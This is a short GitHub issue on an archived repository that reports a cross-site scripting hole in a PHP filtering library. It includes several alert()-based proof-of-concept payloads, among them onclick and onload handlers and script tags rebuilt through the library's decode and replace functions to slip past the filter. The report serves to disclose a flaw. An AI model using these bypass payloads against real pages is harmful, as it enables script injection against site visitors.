This repository was archived by the owner on Mar 13, 2019. It is now read-only.
This repository was archived by the owner on Mar 13, 2019. It is now read-only.
Inserting html code allows for javascript to be called #8
Description
The fact that you can insert custom html allows for the onload method to be used to execute javascript. Combining this with the escaped html chars it also passes function replacement:
?> <button onclick="alert("Hacked")">Click me for action</button> <?phpThe same is also possible with the following:
echo("<!DOCTYPE html><html><head>");
echo("<body onload=alert("Hacked")>");It is also possible like this (unnecessary):
$decoded = jks_string_html_cd("<script>alert("hacked")</script>");
echo("<!DOCTYPE html><head></head><body>");
echo($decoded);or like this:
$m = "<pre>alert(^hacked^)</pre>";
$m = jks_string_repl("pre","script",$m);
$m = jks_string_repl("^","\"",$m);
echo("<!DOCTYPE html><head></head><body>");
echo($m);